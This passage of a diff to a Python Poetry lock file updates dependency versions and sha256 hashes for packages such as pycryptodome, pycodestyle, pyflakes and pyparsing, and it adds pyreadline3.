"prompt_toolkit-3.0.48-py3-none-any.whl", hash = "sha256:f49a827f90062e411f1ce1f854f2aedb3c23353244f8108b89283587397ac10e"}, + {file = "prompt_toolkit-3.0.48.tar.gz", hash = "sha256:d6623ab0477a80df74e646bdbc93621143f5caf104206aa29294d53de1a03d90"}, ] [package.dependencies] @@ -1600,13 +1693,13 @@ pyasn1 = ">=0.4.6,<0.6.0" [[package]] name = "pycodestyle" -version = "2.9.1" +version = "2.12.1" description = "Python style guide checker" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" files = [ - {file = "pycodestyle-2.9.1-py2.py3-none-any.whl", hash = "sha256:d1735fc58b418fd7c5f658d28d943854f8a849b01a5d0a1e6f3f3fdd0166804b"}, - {file = "pycodestyle-2.9.1.tar.gz", hash = "sha256:2c9607871d58c76354b697b42f5d57e1ada7d261c261efac224b664affdc5785"}, + {file = "pycodestyle-2.12.1-py2.py3-none-any.whl", hash = "sha256:46f0fb92069a7c28ab7bb558f05bfc0110dac69a0cd23c61ea0040283a9d78b3"}, + {file = "pycodestyle-2.12.1.tar.gz", hash = "sha256:6838eae08bbce4f6accd5d5572075c63626a15ee3e6f842df996bf62f6d73521"}, ] [[package]] @@ -1622,95 +1715,95 @@ files = [ [[package]] name = "pycryptodome" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pycryptodome-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:f0e6d631bae3f231d3634f91ae4da7a960f7ff87f2865b2d2b831af1dfb04e9a"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:baee115a9ba6c5d2709a1e88ffe62b73ecc044852a925dcb67713a288c4ec70f"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:417a276aaa9cb3be91f9014e9d18d10e840a7a9b9a9be64a42f553c5b50b4d1d"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2a1250b7ea809f752b68e3e6f3fd946b5939a52eaeea18c73bdab53e9ba3c2dd"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:d5954acfe9e00bc83ed9f5cb082ed22c592fbbef86dc48b907238be64ead5c33"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:06d6de87c19f967f03b4cf9b34e538ef46e99a337e9a61a77dbe44b2cbcf0690"}, - {file = "pycryptodome-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:ec0bb1188c1d13426039af8ffcb4dbe3aad1d7680c35a62d8eaf2a529b5d3d4f"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5601c934c498cd267640b57569e73793cb9a83506f7c73a8ec57a516f5b0b091"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:d29daa681517f4bc318cd8a23af87e1f2a7bad2fe361e8aa29c77d652a065de4"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3427d9e5310af6680678f4cce149f54e0bb4af60101c7f2c16fdf878b39ccccc"}, - {file = "pycryptodome-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:3cd3ef3aee1079ae44afaeee13393cf68b1058f70576b11439483e34f93cf818"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac1c7c0624a862f2e53438a15c9259d1655325fc2ec4392e66dc46cdae24d044"}, - {file = "pycryptodome-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:76658f0d942051d12a9bd08ca1b6b34fd762a8ee4240984f7c06ddfb55eaf15a"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f35d6cee81fa145333137009d9c8ba90951d7d77b67c79cbe5f03c7eb74d8fe2"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76cb39afede7055127e35a444c1c041d2e8d2f1f9c121ecef573757ba4cd2c3c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:49a4c4dc60b78ec41d2afa392491d788c2e06edf48580fbfb0dd0f828af49d25"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:fb3b87461fa35afa19c971b0a2b7456a7b1db7b4eba9a8424666104925b78128"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:acc2614e2e5346a4a4eab6e199203034924313626f9620b7b4b38e9ad74b7e0c"}, - {file = "pycryptodome-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:210ba1b647837bfc42dd5a813cdecb5b86193ae11a3f5d972b9a0ae2c7e9e4b4"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win32.whl", hash = "sha256:8d6b98d0d83d21fb757a182d52940d028564efe8147baa9ce0f38d057104ae72"}, - {file = "pycryptodome-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:9b3ae153c89a480a0ec402e23db8d8d84a3833b65fa4b15b81b83be9d637aab9"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:4401564ebf37dfde45d096974c7a159b52eeabd9969135f0426907db367a652a"}, - {file = "pycryptodome-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:ec1f93feb3bb93380ab0ebf8b859e8e5678c0f010d2d78367cf6bc30bfeb148e"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:acae12b9ede49f38eb0ef76fdec2df2e94aad85ae46ec85be3648a57f0a7db04"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f47888542a0633baff535a04726948e876bf1ed880fddb7c10a736fa99146ab3"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e0e4a987d38cfc2e71b4a1b591bae4891eeabe5fa0f56154f576e26287bfdea"}, - {file = "pycryptodome-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c18b381553638414b38705f07d1ef0a7cf301bc78a5f9bc17a957eb19446834b"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:a60fedd2b37b4cb11ccb5d0399efe26db9e0dd149016c1cc6c8161974ceac2d6"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:405002eafad114a2f9a930f5db65feef7b53c4784495dd8758069b89baf68eab"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2ab6ab0cb755154ad14e507d1df72de9897e99fd2d4922851a276ccc14f4f1a5"}, - {file = "pycryptodome-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:acf6e43fa75aca2d33e93409f2dafe386fe051818ee79ee8a3e21de9caa2ac9e"}, - {file = "pycryptodome-3.20.0.tar.gz", hash = "sha256:09609209ed7de61c2b560cc5c8c4fbf892f8b15b1faf7e4cbffac97db1fffda7"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dad9bf36eda068e89059d1f07408e397856be9511d7113ea4b586642a429a4fd"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a1752eca64c60852f38bb29e2c86fca30d7672c024128ef5d70cc15868fa10f4"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:3ba4cc304eac4d4d458f508d4955a88ba25026890e8abff9b60404f76a62c55e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7cb087b8612c8a1a14cf37dd754685be9a8d9869bed2ffaaceb04850a8aeef7e"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:26412b21df30b2861424a6c6d5b1d8ca8107612a4cfa4d0183e71c5d200fb34a"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:cc2269ab4bce40b027b49663d61d816903a4bd90ad88cb99ed561aadb3888dd3"}, + {file = "pycryptodome-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:0fa0a05a6a697ccbf2a12cec3d6d2650b50881899b845fac6e87416f8cb7e87d"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:6cce52e196a5f1d6797ff7946cdff2038d3b5f0aba4a43cb6bf46b575fd1b5bb"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:a915597ffccabe902e7090e199a7bf7a381c5506a747d5e9d27ba55197a2c568"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a4e74c522d630766b03a836c15bff77cb657c5fdf098abf8b1ada2aebc7d0819"}, + {file = "pycryptodome-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:a3804675283f4764a02db05f5191eb8fec2bb6ca34d466167fc78a5f05bbe6b3"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:2480ec2c72438430da9f601ebc12c518c093c13111a5c1644c82cdfc2e50b1e4"}, + {file = "pycryptodome-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:de18954104667f565e2fbb4783b56667f30fb49c4d79b346f52a29cb198d5b6b"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2de4b7263a33947ff440412339cb72b28a5a4c769b5c1ca19e33dd6cd1dcec6e"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0714206d467fc911042d01ea3a1847c847bc10884cf674c82e12915cfe1649f8"}, + {file = "pycryptodome-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:7d85c1b613121ed3dbaa5a97369b3b757909531a959d229406a75b912dd51dd1"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:8898a66425a57bcf15e25fc19c12490b87bd939800f39a03ea2de2aea5e3611a"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:932c905b71a56474bff8a9c014030bc3c882cee696b448af920399f730a650c2"}, + {file = "pycryptodome-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:18caa8cfbc676eaaf28613637a89980ad2fd96e00c564135bf90bc3f0b34dd93"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win32.whl", hash = "sha256:280b67d20e33bb63171d55b1067f61fbd932e0b1ad976b3a184303a3dad22764"}, + {file = "pycryptodome-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b7aa25fc0baa5b1d95b7633af4f5f1838467f1815442b22487426f94e0d66c53"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2cb635b67011bc147c257e61ce864879ffe6d03342dc74b6045059dfbdedafca"}, + {file = "pycryptodome-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:4c26a2f0dc15f81ea3afa3b0c87b87e501f235d332b7f27e2225ecb80c0b1cdd"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:d5ebe0763c982f069d3877832254f64974139f4f9655058452603ff559c482e8"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ee86cbde706be13f2dec5a42b52b1c1d1cbb90c8e405c68d0755134735c8dc6"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:0fd54003ec3ce4e0f16c484a10bc5d8b9bd77fa662a12b85779a2d2d85d67ee0"}, + {file = "pycryptodome-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:5dfafca172933506773482b0e18f0cd766fd3920bd03ec85a283df90d8a17bc6"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:590ef0898a4b0a15485b05210b4a1c9de8806d3ad3d47f74ab1dc07c67a6827f"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f35e442630bc4bc2e1878482d6f59ea22e280d7121d7adeaedba58c23ab6386b"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ff99f952db3db2fbe98a0b355175f93ec334ba3d01bbde25ad3a5a33abc02b58"}, + {file = "pycryptodome-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8acd7d34af70ee63f9a849f957558e49a98f8f1634f86a59d2be62bb8e93f71c"}, + {file = "pycryptodome-3.21.0.tar.gz", hash = "sha256:f7787e0d469bdae763b876174cf2e6c0f7be79808af26b1da96f1a64bcf47297"}, ] [[package]] name = "pycryptodomex" -version = "3.20.0" +version = "3.21.0" description = "Cryptographic library for Python" optional = false -python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" files = [ - {file = "pycryptodomex-3.20.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:645bd4ca6f543685d643dadf6a856cc382b654cc923460e3a10a49c1b3832aeb"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ff5c9a67f8a4fba4aed887216e32cbc48f2a6fb2673bb10a99e43be463e15913"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:8ee606964553c1a0bc74057dd8782a37d1c2bc0f01b83193b6f8bb14523b877b"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7805830e0c56d88f4d491fa5ac640dfc894c5ec570d1ece6ed1546e9df2e98d6"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:bc3ee1b4d97081260d92ae813a83de4d2653206967c4a0a017580f8b9548ddbc"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-win32.whl", hash = "sha256:8af1a451ff9e123d0d8bd5d5e60f8e3315c3a64f3cdd6bc853e26090e195cdc8"}, - {file = "pycryptodomex-3.20.0-cp27-cp27m-win_amd64.whl", hash = "sha256:cbe71b6712429650e3883dc81286edb94c328ffcd24849accac0a4dbcc76958a"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:76bd15bb65c14900d98835fcd10f59e5e0435077431d3a394b60b15864fddd64"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:653b29b0819605fe0898829c8ad6400a6ccde096146730c2da54eede9b7b8baa"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:62a5ec91388984909bb5398ea49ee61b68ecb579123694bffa172c3b0a107079"}, - {file = "pycryptodomex-3.20.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:108e5f1c1cd70ffce0b68739c75734437c919d2eaec8e85bffc2c8b4d2794305"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:59af01efb011b0e8b686ba7758d59cf4a8263f9ad35911bfe3f416cee4f5c08c"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:82ee7696ed8eb9a82c7037f32ba9b7c59e51dda6f105b39f043b6ef293989cb3"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91852d4480a4537d169c29a9d104dda44094c78f1f5b67bca76c29a91042b623"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bca649483d5ed251d06daf25957f802e44e6bb6df2e8f218ae71968ff8f8edc4"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e186342cfcc3aafaad565cbd496060e5a614b441cacc3995ef0091115c1f6c5"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:25cd61e846aaab76d5791d006497134602a9e451e954833018161befc3b5b9ed"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:9c682436c359b5ada67e882fec34689726a09c461efd75b6ea77b2403d5665b7"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a7a8f33a1f1fb762ede6cc9cbab8f2a9ba13b196bfaf7bc6f0b39d2ba315a43"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-win32.whl", hash = "sha256:c39778fd0548d78917b61f03c1fa8bfda6cfcf98c767decf360945fe6f97461e"}, - {file = "pycryptodomex-3.20.0-cp35-abi3-win_amd64.whl", hash = "sha256:2a47bcc478741b71273b917232f521fd5704ab4b25d301669879e7273d3586cc"}, - {file = "pycryptodomex-3.20.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:1be97461c439a6af4fe1cf8bf6ca5936d3db252737d2f379cc6b2e394e12a458"}, - {file = "pycryptodomex-3.20.0-pp27-pypy_73-win32.whl", hash = "sha256:19764605feea0df966445d46533729b645033f134baeb3ea26ad518c9fdf212c"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:f2e497413560e03421484189a6b65e33fe800d3bd75590e6d78d4dfdb7accf3b"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e48217c7901edd95f9f097feaa0388da215ed14ce2ece803d3f300b4e694abea"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d00fe8596e1cc46b44bf3907354e9377aa030ec4cd04afbbf6e899fc1e2a7781"}, - {file = "pycryptodomex-3.20.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:88afd7a3af7ddddd42c2deda43d53d3dfc016c11327d0915f90ca34ebda91499"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:d3584623e68a5064a04748fb6d76117a21a7cb5eaba20608a41c7d0c61721794"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0daad007b685db36d977f9de73f61f8da2a7104e20aca3effd30752fd56f73e1"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5dcac11031a71348faaed1f403a0debd56bf5404232284cf8c761ff918886ebc"}, - {file = "pycryptodomex-3.20.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:69138068268127cd605e03438312d8f271135a33140e2742b417d027a0539427"}, - {file = "pycryptodomex-3.20.0.tar.gz", hash = "sha256:7a710b79baddd65b806402e14766c721aee8fb83381769c27920f26476276c1e"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:dbeb84a399373df84a69e0919c1d733b89e049752426041deeb30d68e9867822"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:a192fb46c95489beba9c3f002ed7d93979423d1b2a53eab8771dbb1339eb3ddd"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:1233443f19d278c72c4daae749872a4af3787a813e05c3561c73ab0c153c7b0f"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bbb07f88e277162b8bfca7134b34f18b400d84eac7375ce73117f865e3c80d4c"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:e859e53d983b7fe18cb8f1b0e29d991a5c93be2c8dd25db7db1fe3bd3617f6f9"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win32.whl", hash = "sha256:ef046b2e6c425647971b51424f0f88d8a2e0a2a63d3531817968c42078895c00"}, + {file = "pycryptodomex-3.21.0-cp27-cp27m-win_amd64.whl", hash = "sha256:da76ebf6650323eae7236b54b1b1f0e57c16483be6e3c1ebf901d4ada47563b6"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:c07e64867a54f7e93186a55bec08a18b7302e7bee1b02fd84c6089ec215e723a"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:56435c7124dd0ce0c8bdd99c52e5d183a0ca7fdcd06c5d5509423843f487dd0b"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:65d275e3f866cf6fe891411be9c1454fb58809ccc5de6d3770654c47197acd65"}, + {file = "pycryptodomex-3.21.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:5241bdb53bcf32a9568770a6584774b1b8109342bd033398e4ff2da052123832"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_universal2.whl", hash = "sha256:34325b84c8b380675fd2320d0649cdcbc9cf1e0d1526edbe8fce43ed858cdc7e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-macosx_10_9_x86_64.whl", hash = "sha256:103c133d6cd832ae7266feb0a65b69e3a5e4dbbd6f3a3ae3211a557fd653f516"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77ac2ea80bcb4b4e1c6a596734c775a1615d23e31794967416afc14852a639d3"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9aa0cf13a1a1128b3e964dc667e5fe5c6235f7d7cfb0277213f0e2a783837cc2"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:46eb1f0c8d309da63a2064c28de54e5e614ad17b7e2f88df0faef58ce192fc7b"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:cc7e111e66c274b0df5f4efa679eb31e23c7545d702333dfd2df10ab02c2a2ce"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_i686.whl", hash = "sha256:770d630a5c46605ec83393feaa73a9635a60e55b112e1fb0c3cea84c2897aa0a"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:52e23a0a6e61691134aa8c8beba89de420602541afaae70f66e16060fdcd677e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win32.whl", hash = "sha256:a3d77919e6ff56d89aada1bd009b727b874d464cb0e2e3f00a49f7d2e709d76e"}, + {file = "pycryptodomex-3.21.0-cp36-abi3-win_amd64.whl", hash = "sha256:b0e9765f93fe4890f39875e6c90c96cb341767833cfa767f41b490b506fa9ec0"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:feaecdce4e5c0045e7a287de0c4351284391fe170729aa9182f6bd967631b3a8"}, + {file = "pycryptodomex-3.21.0-pp27-pypy_73-win32.whl", hash = "sha256:365aa5a66d52fd1f9e0530ea97f392c48c409c2f01ff8b9a39c73ed6f527d36c"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:3efddfc50ac0ca143364042324046800c126a1d63816d532f2e19e6f2d8c0c31"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0df2608682db8279a9ebbaf05a72f62a321433522ed0e499bc486a6889b96bf3"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5823d03e904ea3e53aebd6799d6b8ec63b7675b5d2f4a4bd5e3adcb512d03b37"}, + {file = "pycryptodomex-3.21.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:27e84eeff24250ffec32722334749ac2a57a5fd60332cd6a0680090e7c42877e"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8ef436cdeea794015263853311f84c1ff0341b98fc7908e8a70595a68cefd971"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a1058e6dfe827f4209c5cae466e67610bcd0d66f2f037465daa2a29d92d952b"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9ba09a5b407cbb3bcb325221e346a140605714b5e880741dc9a1e9ecf1688d42"}, + {file = "pycryptodomex-3.21.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:8a9d8342cf22b74a746e3c6c9453cb0cfbb55943410e3a2619bd9164b48dc9d9"}, + {file = "pycryptodomex-3.21.0.tar.gz", hash = "sha256:222d0bd05381dd25c32dd6065c071ebf084212ab79bab4599ba9e6a3e0009e6c"}, ] [[package]] name = "pyflakes" -version = "2.5.0" +version = "3.2.0" description = "passive checker of Python programs" optional = false -python-versions = ">=3.6" +python-versions = ">=3.8" files = [ - {file = "pyflakes-2.5.0-py2.py3-none-any.whl", hash = "sha256:4579f67d887f804e67edb544428f264b7b24f435b263c4614f384135cea553d2"}, - {file = "pyflakes-2.5.0.tar.gz", hash = "sha256:491feb020dca48ccc562a8c0cbe8df07ee13078df59813b83959cbdada312ea3"}, + {file = "pyflakes-3.2.0-py2.py3-none-any.whl", hash = "sha256:84b5be138a2dfbb40689ca07e2152deb896a65c3a3e24c251c5c62489568074a"}, + {file = "pyflakes-3.2.0.tar.gz", hash = "sha256:1c61603ff154621fb2a9172037d84dca3500def8c8b630657d1701f026f8af3f"}, ] [[package]] @@ -1777,7 +1870,7 @@ develop = false type = "git" url = "https://github.com/Pennyw0rth/NfsClient" reference = "HEAD" -resolved_reference = "a94a3254b279dc49395caecf27ec097a71eea91b" +resolved_reference = "0fa1c048394f601d565c6301880da84912b8245a" [[package]] name = "pyopenssl" @@ -1799,13 +1892,13 @@ test = ["flaky", "pretend", "pytest (>=3.0.1)"] [[package]] name = "pyparsing" -version = "3.1.2" +version = "3.2.0" description = "pyparsing module - Classes and methods to define and execute parsing grammars" optional = false -python-versions = ">=3.6.8" +python-versions = ">=3.9" files = [ - {file = "pyparsing-3.1.2-py3-none-any.whl", hash = "sha256:f9db75911801ed778fe61bb643079ff86601aca99fcae6345aa67292038fb742"}, - {file = "pyparsing-3.1.2.tar.gz", hash = "sha256:a1bac0ce561155ecc3ed78ca94d3c9378656ad4c94c1270de543f621420f94ad"}, + {file = "pyparsing-3.2.0-py3-none-any.whl", hash = "sha256:93d9577b88da0bbea8cc8334ee8b918ed014968fd2ec383e868fb8afb1ccef84"}, + {file = "pyparsing-3.2.0.tar.gz", hash = "sha256:cbf74e27246d595d9a74b186b810f6fbb86726dbf3b9532efb343f6d7294fe9c"}, ] [package.extras] @@ -1863,6 +1956,20 @@ tqdm = "*" unicrypto = ">=0.0.10,<=0.1.0" winacl = ">=0.1.9,<=0.2.0" +[[package]] +name = "pyreadline3" +version = "3.5.4" +description = "A python implementation of GNU readline." +optional = false +python-versions = ">=3.8" +files = [ + {file = "pyreadline3-3.5.4-py3-none-any.whl", hash = "sha256:eaf8e6cc3c49bcccf145fc6067ba8643d1df34d604a1ec0eccbf7a18e6d3fae6"}, + {file = 